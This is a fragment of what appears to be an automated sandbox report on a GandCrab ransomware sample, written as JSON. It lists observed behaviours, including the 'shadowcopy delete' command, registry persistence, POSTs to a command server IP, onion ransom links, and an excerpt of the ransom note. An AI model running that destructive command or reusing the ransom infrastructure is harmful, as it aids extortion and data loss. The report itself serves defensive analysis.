\"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36Host: ipv4bot.whatismyipaddress.comCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"iexplore.exe\" (UID: 00023596-00003112)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"nslookup.exe\" with commandline \"nslookup gandcrab.bit a.dnspod.com\" (UID: 00016575-00002592)\n Spawned process \"nslookup.exe\" with commandline \"nslookup gandcrab.bit a.dnspod.com\" (UID: 00022996-00003196)\n Spawned process \"WMIC.exe\" with commandline \"shadowcopy delete\" (UID: 00023552-00001940)\n Spawned process \"iexplore.exe\" with commandline \"-nohome\" (UID: 00023596-00003112)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"GetUserNameW@ADVAPI32.DLL at 00014513-00002904-52460-28-00406186","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"rRgk91Ih5n.doc\" has type \"data\"\n \"dH1rDN9f9.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"StructuredQuerySchema.bin\" has type \"data\"\n \"lCEf83Wf7e4nuIMk.doc\" has type \"data\"\n \"bg3oTe.doc\" has type \"data\"\n \"0zIG0D.doc\" has type \"data\"\n \"mtgFs8Za.doc\" has type \"data\"\n \"F3hzum1.doc\" has type \"data\"\n \"Tmg2wsFHYf9ioO.doc\" has type \"data\"\n \"hKY8.doc\" has type \"data\"\n \"5F1yaAIKfUGQcmmt.doc\" has type \"data\"\n \"EKeaJO.doc\" has type \"data\"\n \"www.ebay[1].xml\" has type \"data\"\n \"pspubws@shopping.udn[1].txt\" has type \"data\"\n \"HokZm0_2HRA[1].htm\" has type \"data\"\n \"iframe[3].htm\" has type \"data\"\n \"M2_28_113715_03[1].png\" has type \"data\"\n \"jDJAedKZ.txt\" has type \"data\"\n \"www.allocine[1].xml\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"ipv4bot.whatismyipaddress.com\"\n Heuristic match: \"a.dnspod.com\"\n Heuristic match: \"t.whatismyipaddress.com\"\n Pattern match: \"https://www.torproject.org/\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.plus/259a4fdc3766943\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion/259a4fdc3766943\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.top/259a4fdc3766943\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.casa/259a4fdc3766943\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.guide/259a4fdc3766943\"\n Pattern match: \"http://gdcbghvjyqy7jclk.onion.rip/259a4fdc3766943\"\n Heuristic match: \"nslookup gandcrab.bit a.dnspod.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.7725052216","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00014513-00002904-52460-132-00407E00","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"$29","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"nslookup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET CURRENT_EVENTS DNS Query Domain .bit\" (SID: 2017645, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\" (Phishing, Exploit Kits)","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/66 reputation engines marked \"http://a.dnspod.com\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"\"POST /curl.php?token=1019 HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36Host: 78.155.206.6Content-Length: 5893Cache-Control: no-cache\" with no payload\n \"POST /curl.php?token=1019 HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36Host: 78.155.206.6Content-Length: 277Cache-Control: no-cache\" with no payload","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 112.90.141.215\"","origin":"Network Traffic","relevance":7,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")\n \"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"PJPTONGOQGB\"; Value: \"\"%APPDATA%\\Microsoft\\lfbnkk.exe\"\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"78.155.206.6\"\n \"127.0.0.1\"\n \"193.70.47.200\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.DLL at 00014513-00002904-52460-19-00406DAB","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"\"---= GANDCRAB =---Attention!All your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB The only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.The server with your key is in a closed network TOR. You can get there by the following ways:1. Download Tor browser - https://www.torproject.org/2. Install Tor browser3. Open Tor Browser4. Open link in tor browser: http://gdcbghvj\" (Source: 00014513-00002904.00000002.21004.00400000.00000040.mdmp, Indicator: \"files are encrypted\")\n \"All your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB\" (Source: GDCB-DECRYPT.txt, Indicator: \"files are encrypted\")","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 2000 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"\" had access to \"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat\" (Type: \"FileHandle\")\n \"\" had access to \"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat\" (Type: \"FileHandle\")","origin":"Touched Handle","relevance":7,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe\" marked \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\ipv4bot_whatismyipaddress_com[1].htm\" for deletion\n \"C:\\03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe\" marked \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\curl[1].htm\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\ipv4bot_whatismyipaddress_com[1].htm\" with delete access\n \"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\7N5LGTOO\\curl[1].htm\" with delete access\n \"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat\" with delete access\n \"\" opened \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28.exe.bin\" claimed CRC 181285 while the actual is CRC 151978","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryA\n UnhandledExceptionFilter\n GetStartupInfoW\n VirtualProtect\n GetCommandLineA\n GetProcAddress\n LoadLibraryW\n WriteFile\n GetModuleHandleW\n TerminateProcess\n CreateFileW\n Sleep\n GetTickCount","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2a","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 1296)\n \"\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 1296)\n \"\" wrote 4 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 1296)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2b","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipv4bot.whatismyipaddress.com\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"WMIC.exe\" with commandline \"shadowcopy delete\" (UID: 00023552-00001940)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"GDCB-DECRYPT.txt\" which has been seen in the context of ransomware (Indicator: DECRYPT.txt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Tries to access unusual system drive letters","description":"\"\" touched \"K:\"\n \"\" touched \"L:\"\n \"\" touched \"M:\"\n \"\" touched \"N:\"\n \"\" touched \"O:\"\n \"\" touched \"P:\"\n \"\" touched \"Q:\"\n \"\" touched \"R:\"\n \"\" touched \"S:\"\n \"\" touched \"T:\"\n \"\" touched \"U:\"\n \"\" touched \"V:\"\n \"\" touched \"W:\"\n \"\" touched \"X:\"\n \"\" touched \"Y:\"","origin":"API Call","relevance":9,"id":"api-31","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")\n \"nslookup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"eqbnjv.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00012680-00001152-54212-32-00406794\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00012680-00001152-54212-50-004040B0","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"51/65 Antivirus vendors marked sample as malicious (78% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"51/65 Antivirus vendors marked sample as malicious (78% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"51/65 Antivirus vendors marked dropped file \"eqbnjv.exe\" as malicious (classified as \"Trojan.Jorik\" with 78% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2c","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API RtlComputeCrc32@NTDLL.DLL at 00008885-00002436-55602-28-00406186","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtdllDefWindowProc_W@NTDLL.DLL at 00008885-00002436-55602-116-00402CAA","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Ransomware","details_count":3,"details":[{"detail":"The analysis extracted a known ransomware file"},{"detail":"Deletes volume snapshots (often used by ransomware)"},{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"Accesses potentially sensitive information from local browsers"},{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Tries to identify its external IP 